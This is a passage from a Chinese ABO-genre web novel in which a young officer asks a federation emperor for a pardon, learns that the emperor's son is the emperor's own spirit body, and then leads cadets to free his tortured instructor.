建筑风格是非常古典的欧式华丽宫廷风,他们在大总管及一队亲卫兵的带领下,穿了无数道大理石雕花的走廊,又在金碧辉煌的正殿绕来绕去,最终在推开又一扇镶金嵌玉的重工扇门后,终于来到了那位传说中只闻其名不见其人的皇帝陛下的会客厅。 “请上将稍等,医生正在陪同陛下检查太子殿下的恢复情况,稍后就会与您会见。”总管毕恭毕敬地弯腰,一个眼神,身着素色长裙的女仆们便端上茶水点心。 时茧听到“太子”二字,心神一动—— 他没忘记为了救自己而重伤的顾识云,既然已经到了这里,那到时候除了说动皇帝陛下救牧野,是否也能…… 总管:“您先慢用。” 说着,总管带领一众亲卫兵和女仆退下。 时茧回了神,暗自握拳。 时藏锋轻车熟路地坐下,让时茧也坐:“你刚出院不久,别一直站着。” 时茧尽职尽责地扮演着自己年轻小副官的角色:“我没什么不适。” 时藏锋只好作罢:“等会儿皇帝出来后,基本的过场要走一走,我会和他先聊一会儿有关极端组织对Omega进行基因等级提升改造的事,等我们聊完,你适时表明身份,我会替你一同求情,希望这位阿比斯陛下宅心仁厚,愿意为了一个无足轻重的推移军官而动用赦免令。” 时茧从他父亲的话里听出了浓烈的嘲弄反讽意味,他记得全联邦对皇室态度最为强硬的就是以他父亲为首的这一批军区高官,心情有些复杂:“你与皇室的关系并不融洽,这件事归根结底是我惹出来的祸,也该我一人承担。父亲,你不用因为我而向谁低头,我也不需要你这么做。” 时藏锋却说:“如果低着一次头就可以让你叫我一声父亲,那我向阿比斯俯首称臣也无妨。” 时茧不知该如何接话,他印象中意气风发、权柄滔天的父亲,这些天在他面前,却一次比一次放低底线,他知晓他向他表达歉意的决心,却也实在无法回应。 时茧只能别过头,以沉默应答。 深深的失落席卷了时藏锋,但很快,联邦皇室的现任皇帝,阿比斯·诺曼阁下身着一袭雪白西装,缓缓向这边走来。 当他走近,看清楚那张脸时,时茧的呼吸猛然一滞,一句“顾识云”险些就喊了出来,好在他又看见对方那明显银灰色的眼睛并非顾识云的红眸,方才稍稍冷静下来。 时藏锋起身,九大军区总指挥官的职别与皇帝算是平级,但皇室又多出来一层象征意义,君主的含义永远不可同日而语,因此他在面对阿比斯·诺曼时,仍旧微微欠首:“日安,陛下。” “上将,日安。” 然而等阿比斯·诺曼一开口,时茧心绪又激烈起伏,胡乱想着:这就是那位皇帝陛下?顾识云的父亲吗?那他真够年轻的,看上去也不过刚二十多,而且这两个人未免也太像了!除了那双眼睛之外,相貌、身高、甚至就连声音,都一模一样!!这根本就像是同一个模子里刻出来的,连同卵双胞胎来了都不会这么像吧!!! 时茧尚沉浸在震惊之中,阿比斯·诺曼的视线越过时藏锋,直直地落在蓝发少年身上,顿时带去一股莫大的压力。 时茧渗出几滴冷汗,不愧是S+Alpha,仅仅是溢出来的那一点儿信息素,就足够向附近的生物表达出唯他独尊的讯息。 时藏锋将时茧一瞬间的细微皱眉也收入了眼底,顿时沉下眉眼,有些许冷淡地提醒道:“皇帝陛下,这里不止有我们两个S+。” 阿比斯·诺曼却笑道:“别紧张,只是信息素的正常溢出,我刚为识云做过信息素治疗,所以还残留了一下,见笑。” 闻言,时茧有些耐不住,竟大着胆子询问:“那么太子殿下如今情况如何?” 时藏锋心一惊,忙去看阿比斯·诺曼的反应,后者却丝毫没有被冒犯的愠怒,反而笑意吟吟地对时茧说:“识云么?他很好,只是伤势太重,暂时还不能下地行走。” 时藏锋却并没有松懈下来,反而更加不安—— 他们的皇帝,是这样一个温和有耐心的人吗? 他为什么对时茧态度这样温和? 时茧也敏锐地意识到一些违和之处。【你现在阅读的是 】 70-80 第71章 第 71 章 我的帝国之星。 他印象中, 阿比斯·诺曼是一位堪称神秘的皇帝,或者说整个诺曼皇室都非常低调,除去必要的元旦日宣讲等公开露面活动之外, 几乎从主流媒体上听不到他们的任何消息, 也毫无任何炫富、横行霸道之传闻,就像牧野说过那般, 余宸一个第一军区的假太子爷, 行事作风都比真太子爷高调得多。 因此, 时茧确信自己从未见过对方。 那现如今的和善就多出几分别有心机的阴谋感。 时藏锋适时打断阿比斯·诺曼对儿子的端详, 不卑不亢道:“陛下, 接下来我将向您汇报军方就Omega极端崇拜组织非法改造联邦公民基因等级一事的最新调查报告, 其中涉及其他绝密文件, 我是否需要让小茧回避?” 阿比斯·诺曼对时茧一反常态的态度让时藏锋更希望他点头, 可惜天不遂人愿:“这有什么关系?据我所知, 此案能突破重大进展, 全仰仗这位时茧同学, 和识云一起不顾生命安全冒死涉险, 才拿到了那些机密情报和实验数据。他本来就有权利参与到案件完整的流程中来,何况我即将在三天后为他举行授勋仪式,作为史上最年轻的联邦之星, 我相信他和上将一样,对联邦有着赤忱的铁胆忠心。” 时茧没有想到会从皇帝陛下的口中听到对自己如此高的评价, 他生不出几分高兴,只剩满腔疑惑和防备,即使被和善地同意坐在另一边的沙发上,他也依旧挺直脊背,呈现出一种谨慎防守的姿态。 时藏锋给了时茧一个安抚的眼神, 转而对皇帝说:“根据时茧和太子殿下从极端组织基地抢救出来的数据及组织成员的审讯报告综合来看,这个组织主要的目的是以通过非法实验提高个体基因等级的手段,促使他们达成‘Omega基因高人一等’的信仰,这不稀奇,目前联邦还有许多此类极端组织的最终教义都是如此,认可这种说法的也不只是Omega,Beta、Alpha等群体中也有不少人追随。” 阿比斯·诺曼点头道:“没有记错的话,时茧同学就曾经是S级的Omega,想必他会受到不少此类组织的骚扰行为。” 时藏锋代替儿子回答:“是的。不过他目前正处于分化紊乱期,最终究竟会分化为哪个性别,又会是什么等级,暂时还不清楚。而这个极端组织当初应该就是把他当做Omega绑架的,他们已经用同样的犯罪方法导致了上百起Omega的失踪案,其中不乏A级等高级别Omega。” 时藏锋顿了顿,声音逐渐沉重起来:“但如果仅仅是这样,我想我们还不必如此紧张,可惜通过此次案件及以前的一些情报来看,这个极端组织涉及的恐怕不仅仅是绑架Omega、进行非法实验等恶劣事件,他们还与一项名为‘杜鹃’的秘密计划有关。” 时茧眼神一动,对此极为耳熟,他确信自己曾在什么地方听见过,然而脑子里突然空白一片,什么也记不起来了。 阿比斯·诺曼沉吟片刻,缓缓道:“实则在二十年前,这项计划就已经存在了,那时我刚刚即位,在一次御驾亲征时俘虏了境外异种的高级将领,从他身上搜出的加密通信中首次出现了‘杜鹃计划’的字样,从此后不时也能够在其他地方听到这个秘密计划,只是直到如今,都无人知晓其中具体内容。” 从他们二人的交谈中,时茧可以轻易看出来,“杜鹃计划”并非绝密,至少联邦最顶层的这一批当权者都对此心如明镜。 它到底是什么?他为什么会觉得那么耳熟? 时藏锋道:“根据初步调查结果显示,这个极端组织背后应当是有另一股势力在支持,而这股势力的最终目标应当就是‘杜鹃计划’的成功实施。但很可惜的是组织领头人已经逃之夭夭,此人身份神秘,职业未知,唯一可以肯定的是,他必定还在中心区里,不可能逃远。” 阿比斯·诺曼问道:“上将阁下认为,支持极端组织的人,或者说异种,会是谁呢?他在境外还是境内?” 时藏锋思考片刻,答道:“我始终认为异种之中一定有潜伏到联邦的卧底——如果这个极端组织这些年来的非法实验和维持基地运转产生的高额费用都来源于异种的投资,那么对方对人类社会必定十分了解,且有能力在联邦替该组织首领筹谋规划,地位必然不低。” 范围在说话间缩小到一个很小的圈里,时藏锋心中有几个人选,但他没有证据,并不好直接向皇帝表明,否则有攻讦同僚之嫌。 阿比斯·诺曼自己心中显然也有数,关于极端组织和“杜鹃计划”的交流就到此为止,只是最后套话般赞扬了时藏锋对联邦做出的贡献,又谦逊地表示希望上将能够尽自己所能调查清楚云云,最后他仍是将话题和注意力都放在了时茧身上。 为了拉近和时茧的距离,他甚至开了一个玩笑:“原定的授勋仪式是在三天之后,时茧同学这是迫不及待想要问我要‘帝国之星’的勋章了吗?它现在正挂在我的寝宫,我可以让侍卫长将其拿过来,先让你赏玩这枚天生属于你的勋章。” 时茧礼貌而客气道:“多谢陛下,勋章我还是三天之后,再从您这里拿回来。” 他看一眼时藏锋,在父亲默许的眼神下,说明自己的来意:“也许这个请求会让陛下觉得唐突,但请容许我向您表明我的恳求,希望您能够下放赦免令,将我的教官,也就是第一军校一年级的总教官,前第九军区服役军人牧野,从督察队放出来。” 阿比斯·诺曼来了兴致:“据我所知通常都是有严重违反军纪,或是对军队造成巨大损失的军人才会被督察队带走审讯,你的这位教官,他又是因为什么罪名而被拘捕呢?” 男人即使姿态轻松地坐着,表情也总是含笑舒适的,但那双眼睛在看向自己时,时茧总是会有一种喘不上气的压迫感,让他有一种仿佛被某种野兽盯上,时刻都会陷入危险之中的错觉。 时茧不动声色地深吸口气,适当地微微低下头,表现出一种长辈们都会喜欢的乖巧孩子的神态,放轻了声音,一半认真一半装出来的愧疚,对阿比斯·诺曼说:“督察队说教官涉嫌暗箱操作,违规将未登记在册的学生带去外派任务,并在过程中影响了军方的处理进度,但这件事情归根结底,其实是我的错。” 阿比斯·诺曼果然顺着问:“为什么?无论是大总管还是侍卫长,或者是识云,向我提起你来时,都说你个性要强但听话乖巧,今天一见,时上将果然把你教得很懂礼貌,又进退有度,是个好孩子。” 时茧撇开眼睛,很“难过”地说:“在向学校递交申请书时,教官担心我的等级不高,出任务时会更容易发生意外,所以卡着我的申请没有提交,是我自己偷偷混进外派任务的队伍,才跟着来了中心区。后来我的确遇到了危险,受困于极端组织基地,我哥哥温隅安和教官当即便想组织人手援救,却被督察队以此为理由,带走了教官。这都是我的错,我愿意承担一切后果,但教官实在是无妄之灾,我想还他一个清白,只好求助于陛下。” 时藏锋适时送上助攻,和小儿子一唱一和:“你做事也太不计较后果了——陛下,我建议您收回这枚帝国之星,就当做给不懂事的小孩子涨涨教训,让他记住以后不能够再随自己意乱来。” 阿比斯·诺曼忽然起身,时茧和时藏锋都有些愣住,互相隐秘地对视一眼,都没从对方眼睛里看出什么,显然是都被这位皇帝陛下突如其来的举动给弄懵了,根本不知道他到底怎么个态度? 难道他们这场戏演得这么假? 但再假的戏也只不过是传递出一个信号,这种情况,一般不就顺着台阶下了么。 在父子二人的注视下,阿比斯·诺曼缓缓走到时茧面前,抬起手,用戴着权戒的手轻轻抚摸着少年的脑袋,和煦地微笑说:“上将,请不要这样贬低这么好的孩子,他可是联邦的新星,军政世家的荣誉。” 他低下头,专注地看着时茧:“你也不必为此感到自责,连累教官这种说法完全是无稽之谈,毕竟现在全联邦上下,谁不知道多亏了你舍命冒险,才拿到这么多关键证据,一举摧毁了这个极端组织。我破格将帝国之星授予你,就代表了联邦从下到上对你的认可,你又怎么可能和干扰军方执行任务、延误进度等指控挂钩,哪怕过程中的确存在一些程序上的缺位,但最终取得的成果,我想无人可指摘。” 这哪里像是公正严明的联邦皇帝,倒不如说更像是个狂热信徒,毕竟连时茧自己都没办法这么理直气壮。 时藏锋的脸色也更是变幻莫测——这皇帝对小茧态度这么温和,到底有什么意图?!难不成想挟子逼父,让他放弃对皇室的强硬态度? “帝国之星只会为一个人闪耀。”阿比斯·诺曼一锤定音,“赦免令而已,为我的帝国之星破例一次,有何不可。” 第72章 第 72 章 精神体。 皇帝陛下金口玉言, 掷地有声,时藏锋的脸色去彻底沉下来,几欲开口, 都有些插入不进。 时茧懵完, 立刻站起来向阿比斯·诺曼表达感谢,接着就想告辞, 然而却被抢先一步问道:“先前你关心识云的伤势, 想来你们的关系很好, 既然来了, 未免空跑一趟, 你要去探望探望他吗?” 想到顾识云, 时茧到嘴边的辞别套话又咽了回去, 余光瞥了眼时藏锋, 发现父亲的脸色像是在……生气? 他收回视线, 低声道:“当时在极端组织基地的废墟里, 是顾学长救了我, 他因此受了重伤, 而我却一直没能亲眼见上他一面。更不知道他现在伤势如何。” 时茧通常都直呼顾识云大名,偶尔坏心起来,会调侃地喊他顾部长, 但极少叫他顾学长,因而突然说出来这个称呼, 显得还有点拗口。 阿比斯·诺曼听见时茧对儿子的关心,心情似乎更好,笑道:“那么,我带你去他的寝殿,你们叙叙旧。” 时茧点头:“希望没有打扰到陛下。” 时藏锋本想喊停, 某种战场上厮杀出来的对于不稳定因子的直觉,令他总觉得如果让时茧继续待在这儿,危险程度就会直线上升。 然而这边两人已经谈好,他想阻止都没有理由,本想跟上去,阿比斯·诺曼又忽然回过头,时藏锋立刻就预感不妙。 果不其然,皇帝道:“识云伤势还不稳定,太多高等级Alpha接近他的领地,会致使他理智失控,恕我无法邀请上将一同前往,还望你理解一二。” 皇帝都将自己姿态摆得这么低了,时藏锋还能说什么,皮笑肉不笑地说着“无妨”,实则后槽牙都快咬碎了,险些就要控制不住自己。 他被留在会客厅,由侍卫长接待,等待时茧回来的时间里坐立难安,实在担心阿比斯·诺曼会对他的儿子做些什么。 时茧一路也十分警惕,但皇帝陛下只是走在前面,时不时回头和他说笑两句,全程表现得再正常不过,他也就稍稍放松了些。 顾识云的寝殿在起卧区最里面,女仆长替他们打开门,时茧礼貌地只打量了一眼,装潢内敛奢华,很符合对方的风格。 阿比斯·诺曼一个眼神,女仆长悄无声息地退了出去,不忘顺手将沉重的雕花红木大门关上。 “这是客厅,他正在卧室。”阿比斯·诺曼将时茧引入房间。 他抬头一看,靠窗的大床上,的的确确躺着顾识云,只是呼吸孱弱,胸腔几乎没有任何起伏,若非仔细观察,看上去像极了一具已然断气的尸体。 时茧说不上来自己看见这一幕时的心情,他第一想法就是不可置信,一个S+的Alpha怎么会伤重至此?躺在床上连呼吸都快没有了,都难以分辨死活—— 那他当时为了护住自己,受的伤该有多严重? 时茧不知道为什么尝到了舌尖忽然返上来的苦味,心脏像浸在冰水里一样又冷又痛,他这是心疼顾识云吗?可他明明克制不住地想责备这家伙,明明连自己的安危都没办法保证,当时为什么要折返回来救他?都找到逃生口了不是吗? 如果不回来救他,不拿身体当护盾替他挡下爆炸的冲击和那些飞溅的碎石,那他也就不会生死不知地躺在这儿。他们本来应该并肩而站,在无数人羡慕崇拜的目光中得到联邦最高统治者的嘉奖,那枚帝国之星的勋章,也该有一块戴在他的胸前。 但这一切,在时茧今天目睹顾识云真正的状态后,什么也没有了。 他互相交付过生命的同伴,有恩惠尚未回报的学长,危险之际低吻告白的爱慕者……也许再也无法回应他,更无法亲耳听见他的答案了。 时茧浑身都是僵硬的,全凭肌肉记忆走到顾识云床前,细细端详着他。 阿比斯·诺曼神不知鬼不觉地走到他身后,忽然间的开口让时茧惊得猛地回头,却发现彼此间的距离近到只剩下一拳,慌乱间跌坐在顾识云的病床上,通过触觉他能感受到自己坐在顾识云的手上了。 “……陛下?”时茧见对方似在出神,咽下口水,大着胆子提醒他。 阿比斯·诺曼倒的确回过神了,只是在用一种令人费解、充满了侵略性的目光看着时茧。 二人目光相接,这样近的距离,时茧几乎都能看清楚皇帝眼中自己的倒影,他的喉结不安地滚动着,脑子飞快运转着该如何摆脱这种尴尬处境。 然而下一刻,阿比斯·诺曼突然说话了,就是内容堪称放浪,瞬间就让时茧红透脸颊,浑身热得像刚出笼的蒸豆腐,他都疑心咋舌,这样轻浮孟浪的话,怎么可能会从联邦之主的口中说出? “你的那里很软。” 哪里? 时茧人是懵的。 阿比斯·诺曼欺身上前,凑到神态茫然的少年耳边,轻声道:“我的儿子病得快死了,他的小男朋友一来就坐在他的手上,是还嫌他死得不够快吗?” 这几乎快将时茧描述成那种不知节制一味索取无度的□□了! 时茧又羞又恼,后知后觉地坐不住了,想要站起来:“陛下!请您……放尊重些!” 哪知肩膀上忽然按下一只大掌,纵使隔着衣服,也能感受到手心滚烫的温度,像烙铁般,令时茧心中不安。 阿比斯·诺曼笑道:“怎么?你是觉得我不应当在自己病重昏迷的儿子床前,对他的心上人肆意逗弄吗?还是说,你认为我的表现不像是一国之主,实在太孟浪了。” 即使心中就是这么想的,但时茧还没忘了这是谁的地盘,他也没搞懂这人究竟想做什么,只得先尽力周旋:“我和顾学长的关系并非陛下所想,请陛下不要再试探我了!” “并非?”阿比斯·诺曼越过时茧,看了一眼躺在床上生死未卜的顾识云,又将那双令人颤栗的视线重新锁定在时茧身上,“可识云说,你早就是他倾心的太子妃,也就是我的儿媳妇,联邦未来的皇后。还是说我误会了,其实你想越过那一步,直接做我的皇后?” 时茧的眼睛翛然睁圆,他终于不得不绝望地承认自己那些有关于阿比斯·诺曼的所有直觉都是对的,他不是在试探、更不是在玩笑,他从一开始就已经把自己当作势在必得的猎物盯上了! 可这一切也太突然了!况且也过分挑战时茧的认知!他根本就接受不了! 时茧挣扎着想起来,但阿比斯·诺曼扣在他肩膀上的手力道加重,让他挣扎而不得。 “你好像从刚开始见面时就很害怕我,为什么?我又不会吃了你。” 放屁。时茧冷笑着看回去。 “没有哪一位皇帝会像你这样……我不管你想做什么,我没时间也没精力奉陪。”时茧搬出时藏锋,想让这人多多少少收敛一点,“我父亲等太久了会担心我,我要先回去了。” 阿比斯·诺曼丝毫不生气,带上一丝回忆,微笑道:“你还是和小时候一样,遇到感觉害怕的人,就会往时上将怀里一缩,用这双宝石一样的蓝眼睛警惕地观察周围,像一只生而警敏的小鹿。” 时茧懵了一瞬,阿比斯·诺曼说这句话到底什么意思?他们在这之前见过?可他已经一点印象都没有了。 阿比斯·诺曼见状并不受打击:“这不怪你,那时候你还太小,不记得我来过第九军区慰问也是常事。我见到你时,恰逢你们全家都在边境同将士一起过年,你被你的父亲单手抱在怀里,边境风沙大,他用军服大衣把你捂得严严实实,我捏过你的脸蛋,那时你倒是比现在要乖很多。” 随着阿比斯·诺曼的回忆,时茧碎落一地的记忆碎片似乎有几块自动拼在了一起,他仿佛看见自己躲在父亲他保暖的大衣里,警惕地看着那个高大年轻的男人在同父亲交谈,忽然间向自己投来目光,笑着摘下手套,过来捏捏他的脸蛋。 如果记忆没有哄骗时茧,那个时候的阿比斯·诺曼和现在毫无分别,至多不过神色更年轻几分,而现在则更深沉许多。 ——或者说比起现在的他,更像是性格和善些的顾识云。 “那又怎么样。”时茧并未放松警戒心,仍然戒备地盯着阿比斯·诺曼,“我小时候见过你,不代表你现在可以当着你重病儿子的面,对他的学弟说话不清不楚。如果你继续这样,我一定会原原本本告诉我父亲,到时候上议院参你一本!” 阿比斯·诺曼失笑:“脾气这么大,可不像刚才为了求我动用赦免令时那样可怜无辜的模样。小少爷这么会装乖么?怪不得连识云也被你哄骗了。” 时茧听不得他总提起顾识云,提一次他就记起来自己还坐在顾识云的手上一次,难免羞红了脸:“请你不要再牵扯到顾学长了!” 阿比斯·诺曼却语出惊人:“牵扯么?可‘顾识云’这具身体,本来就只是我的精神体,他现在所感受到的一切,实则都是我所感受到的,你说我言语放浪,可我说的明明是事实——真的是很软,很软,像抓一把连指尖都会陷进去的橡皮泥。” 时茧愣住,不可置信地瞪大眼睛,宁肯怀疑是自己耳朵出了问题,也不愿意相信这样骇人听闻的事—— 什么叫‘顾识云’只是他的精神体? 这怎么可能?!世界上怎么会有一个人是另一个人的精神体!! 第73章 第 73 章 父子。 阿比斯·诺曼向时茧笑道:“难道识云没有告诉你这件事吗?那可就是他的不对了。” 他牵起时茧的手, 时茧想要挣开,却发现自己的动作很僵硬,他一个受过训练的军校生, 纵使体质上始终比不过高等级的Alpha, 但也不该,不该像这样完全被男人有力的大掌紧紧箍住, 根本动弹不得。 但阿比斯·诺曼并没有做出什么过分的举动, 他只是欺身压来, 与时茧十指相扣——如果忽略他们现在正在顾识云的病床前。 原本有些暧昧的动作, 因为多了一个病重不醒的顾识云, 而他在名义上又是阿比斯·诺曼的儿子, 是联邦名正言顺的太子, 这份暧昧里就又多加了几分不可言明的禁忌。 “不过我也许能够猜到他不愿意将事实告诉你的原因, 毕竟精神体和宿主同根同源, 他也同样分享了我的独占欲和恶劣性, 恐怕不太愿意将你分享给我。”阿比斯·诺曼语出惊人, 时茧下意识看了眼昏迷中的顾识云, 却被男人轻轻掐住下巴,转正回来。 “就算你牵挂的是我的精神体,但作为本体, 我也是会吃醋的哦。既然现在和你交流的是本体,那么就暂且先专心一点, 把目光都放在我身上吧。”阿比斯·诺曼微笑道。 时茧忍不住骂了句变态。 阿比斯·诺曼点点头:“的确是不符合常理的精神体,我想就算换成更见多识广的时上将,也是会为此感到诧异的,更何况是你呢,从小就被娇养在城堡里不问世事的大小姐。” 并非嘲弄的语气, 而是真心实意如此认为,但大小姐本人并不为此感到高兴,忍耐着火气不耐烦地说:“这到底是怎么回事?” “如你所见,你最熟悉的我的儿子顾识云,实际上是我的精神体。这是独属于诺曼皇室直系血脉的特殊能力,每当我成年完成二次分化,就会拥有一个人形精神体,他将1:1继承到我的一切,无论是外貌、基因等级还是As,或者更确切的说,这是一种完全复原的克隆,因为到末期,他甚至可以继承我所有的记忆。到那个时候,别说是你分不清我们,恐怕就连我们自己,都分不清谁是谁,因为严格意义上来说,他就是我、我就是他,从始至终都只有过一个人。等到我这具身体衰退,他便会成长到巅峰期,而后取代我的位置,成为联邦新一任皇帝,届时他便也会拥有一个人形精神体,由此周而复始、生生不息。” 时茧足足花了两分钟才消化完这段信息量密集的话,他的脑海里忽然有一角记忆碎片被拼凑,想起顾识云曾对他说过的某句话:“所以学长并非真的二次分化延迟,只是因为你还没到衰败期,也不是因此而没有信息素和精神体,是还没有完全继承你的一切……” 阿比斯·诺曼赞许地看着时茧,隐约还有几分期待:“所以你完全不必对我感觉到陌生或者是抵触,我作为本体,近乎知晓你和他发生的一切。换句话说,你可以当做之前都是在和我的小号网恋,而我们现在……用你们年轻人的话说,叫做网恋奔现?” 怎么说呢…… 时茧原本对联邦皇帝那种莫名的敬畏,还的确消减了不少——搞半天,原来他们真的很熟,并非别有目的才那般热络,亏他和父亲都提心吊胆,以为这人要对时家做什么。 时茧多多少少放松了些,语气隐隐都带上了点颐指气使:“我和顾识云还没到那一步,更别说什么和你网恋,你先放开我。” 也不拘谨地叫学长了,直呼其名。 阿比斯·诺曼却没有半分被冒犯的愤慨,也听话地放开时茧的手,只是高大的身躯依旧如山峰般笼罩着少年,强大、内敛,却只为一人温柔地低头。 “从识云的记忆中,我看到他怀里抱着你从火海中坠落,在爆炸发生的瞬间,他向你许下很快见面的承诺,但似乎还没来得及给你一个正式的告白。” 阿比斯·诺曼逐步逼近,他的笑容如春风般和缓,眼神却异常强势,时茧被逼得撑在顾识云身上,不停往后仰,但很快——他感受到手心滚烫的温度,后脑被轻轻护着,没有撞到墙壁。 时茧滑动着喉结,不知为何,竟有些紧张—— 这样的情形,对么? 象征着统治的联邦君主,此刻正强势而又包容地将自己圈进仅属于他一个人的领地,丝毫不顾自己还压着他病重不醒的儿子,就这样直白不加掩饰地袒露心声: “承诺由我来兑现,那么告白的话,也当由我来说。” “无论是我,还是识云,由我和他组成的这个个体,都折服于你坚贞不屈的灵魂,为你双手奉上的,何止是赦免令和联邦之星——我的生命,灵魂,爱欲,忠贞,理想,荣誉……所以宝贵的一切,我都愿刻上你的名字,连同我自己,一并成为你的所有物。” “接受我。” 阿比斯·诺曼侵略性的眼神在时茧身上一寸寸掠过,野兽一般,让人疑心下一刻就会被这头雄狮当做猎物拆吃入腹。 而时茧,这只可怜的,翅膀都被攥住的小蝴蝶,只能被迫圈在狮子的领地里,眼睁睁地看着自己被他凑近了反复嗅闻,被打上标记。 他想稍微动动,可随便一碰,就能够隔着被子触到顾识云,即使还有好几层布料,每次也都像是触电般叫他心惊不已。无论阿比斯·诺曼怎么强调顾识云实际上只是他的人形精神体,本质上和军刀、钢笔没什么不同,可这么多时日的朝夕相处不是假的,那么多共同拥有的经历也不是假的,时茧怎么也没有办法将顾识云真当精神体看待,这毕竟是、毕竟是,众所周知的,联邦的太子,阿比斯·诺曼的独子啊! 可他现在却被顾识云的父亲压在顾识云身上表白! 这……这…… 根本就已经超出了时茧所能承受的伦理道德的极限,他甚至连阿比斯·诺曼具体说了些什么都没有听清!他现在满脑子想的都只有,这件事——他被父亲压在儿子身上告白——如果传出去…… 那时茧根本就不敢想外界舆论将会掀起怎样的惊涛骇浪,届时所有人都将知道他同时与父子二人牵牵扯扯、不清不楚,别说其他人,就说沈行川,付岩他们该怎么看自己! 时茧只是稍微想想就快崩溃了,他根本就不知道阿比斯·诺曼是怎么做到这样坦然处之的! 他实在没有勇气再和阿比斯·诺曼对视,逃避般躲向一边,皇帝陛下却不依不饶地又将其掰正回来:“别躲着我,也别害怕我,好吗?我没有逼你现在就做出决定,这也不是什么抉择问题,无论你选择的是识云还是我,本质都只选择了一个人。” 时茧深吸口气,反问道:“真的吗?我选顾识云,你真的不会生气?” 阿比斯·诺曼果然连一个回合都没撑过:“会。不仅会生气,我还会嫉妒——如果你以后说更喜欢我的左眼,那我也会替右眼嫉妒;你说更喜欢昨天的我,那今天和明天的我就会嫉妒昨天的我……抱歉,在针对你的事情上,我做不到太大度,但我会尽力去控制的。不信你看,在你说出你可能会选识云之后,我不也没做出什么出格的反应吗?” “真的?”时茧狐疑,“那顾识云一个S+,只不过是一场爆炸而已,哪怕他承担了大部分的伤害,可我都快痊愈了,他却还是这样安安静静地躺在床上,这不太对劲吧?” 阿比斯·诺曼语气遗憾:“这都被你发现了……” 他无奈地耸耸肩,在时茧震惊的目光中,缓缓道:“你猜得没错,正常情况下,他是早就该醒来了,而且得活蹦乱跳才对——但我实在太生气了,他拥有着更多的和你相处的时间,却向你隐瞒我的存在,甚至打算私藏这段记忆,如此不乖的‘继承人’,我自然是要给他一点苦头吃了。” 时茧有些气愤:“你这完全就是胡来!岁数这么大了,怎么还像小男生一样争风吃醋!” 阿比斯·诺曼不太喜欢时茧这句“岁数大”,却也无法反驳,因为按他的As不死者生效的次数来看,他已经活了不知道多久,这漫长而无趣的岁月究竟几何,连他自己都忘了。 但就是这样平静如水的时光里,他却捕捉到一只悄然飞过的蝴蝶,像一页风吹落一片叶子,激起水坑里的点点涟漪,也激起了他寡淡的心脏异常的搏动。 他表现出一种弱势和委屈,几分真假不知道,但时茧偏偏很吃这一套,良心又稍稍地不安起来。 唔……他是不是太凶了点儿?毕竟是联邦之主,也这么大年纪了,被自己这样凶,好像是挺可怜的…… “那只是原因之一。更重要的原因是,我这具身体已经撑不了太久,无法再支撑精神体和本体同时存在太久,所以只能让识云的意识先在我的精神海里沉睡,这也有益于他的伤势尽快恢复。” 阿比斯·诺曼这头狮子低下头颅,讨巧地凑到时茧面前,半哄半骗:“如果你实在担心他醒不过来,可以给他一个公主的真爱之吻,虽然是吻在我脸上,不过他的意识也能感觉到的,相信他很快就能醒来。” 时茧:“……” 真是诡计多端又不要脸的老男人。 第74章 第 74 章 温隅安同时感受到了幸福…… 督察队审讯室—— 暗无天日的刑室内空气极难流通, 一打开沉重的铁门,扑面而来便是四处弥漫的刺鼻血腥味,军靴踩在地板上, 带起黏腻的稠状物, 通过气味不难辨认出应当是半干不干的血水。 束缚椅富有节奏地亮起电流闪光,一阵滋滋声后, 便扩散出一股蛋白质烧焦的糊肉味, 和腥臭味混合在一起, 连一旁见多了这种场面的审讯官都面露嫌弃, 紧紧捂住鼻子, 瓮声瓮气地对另一个人说:“怎么没动静了?” 那人迟疑道:“从第二轮高压电击开始就没声了, 不会是……” “那怎么办?!上面还等着从他嘴巴里撬出点东西来呢!!” 他拎起一桶污水泼上去, 束缚椅上血肉模糊的男人才算是干净了点儿, 露出一张遍布伤痕、胡子拉碴的脸, 紧闭的眼睛上青紫肿胀, 隐隐有些发炎的症状。 往常一桶水泼上去, 人多半就醒了, 这次却连呛水都没咳嗽一声,两人这才意识到情况不妙,忍着恶心解开特殊材料制成的束缚带, 被放开的那一瞬间便如尸体般无力地倒在一边。 最先出声的那个人动作粗鲁地掀开伤者眼皮,露出充血严重肿大的眼睛, 观察一番后任他倒下去。 “还有气,但也挺到头了,真是个硬骨头,浪费我们这么多天时间,连一点有用的东西都没弄到手。”审讯官说着, 在生死未卜的牧野身上啐了一口,“呸,晦气!” 另外一人说:“那现在怎么办?总不能就这么看着他咽气吧,都算脏了地方。” “别急,我先向上面汇报一下。余上将之前说过,五天内拒不配合的话,直接就地处决。” 审讯官说着,把满是血污的手洗干净,转身走到门前正要拉开,突然一声巨响,他还没来得及躲避,就被从外向里踹开的铁门“嘭”地一声撞上额头,瞬间血流不止。 审讯官摸到一手血,即刻暴怒:“他妈的!是谁!连督察队的刑讯室都敢闯!不怕枪毙是吗!” 一道含着冷意的少年音迎面传来,他在满头血流中艰难地睁开眼,不太敢相信来着居然是一群年纪轻轻的军校生:“我连皇宫都进出自如,还害怕你们督察队?” 说话的正是其中为首的蓝发少年,此刻正冷着脸,挥挥手,指挥他身后的那些军校生:“隋边和付岩,你们先去把教官扶起来,带上他走。” 两个B级的Alpha应声走出,靠近牧野的那个审讯官这才从震惊中反应过来,疾言厉色道:“你们想干什么!这可是嫌疑犯!!你们这种行为等同劫狱!!我们有人证,你们是要判重刑的!!!!” “就算只是军校生,也等着开除坐牢吧!!” 时茧冷笑道:“与其担心我会不会坐牢,不如先担心一下你们自己会不会被联邦安全处调查吧,作为督察队却与军区总指挥官私相授受沦为私人打手,随意抓捕退役军人进行严刑拷打,桩桩件件都不会冤枉了你们。” 两人大惊失色,说话都有些结巴:“你、你到底是谁?我警告你们别轻举妄动!外面可都是我们督察队的人。” 闻言,沈行川也忍不住笑,眼神满是嘲讽:“要不然用你们的蠢脑子想想,我们就这么点人,是怎么毫发无伤地进来的?” 那两人愣了片刻,旋即想通关节,却还是不死心地辩解道:“什么私相授受,作为督察队,无论是现役还是退役军人,只要有威胁到军队的行为,我们都有权利管辖。反倒是你们,一群军校生目无法纪,擅闯督察队重地,还敢吓唬我们,真是吃了熊心豹子胆!” 其中一个人说着,就要用内部电话传呼督察队队长,时茧的声音随着系统响应的声音一同响起:“那还真是威风。就是不知道皇帝亲手颁布的赦免令,够不够这个面子,让我闯一闯督察队重地了。” ——等等,什么? ——赦免令?! 两人头脑发懵,还没反应过来,电话已经接通了,那头传来的明显陌生又包含讽刺的男声,则犹如审判长一锤定音,让他们再也挣扎不得。 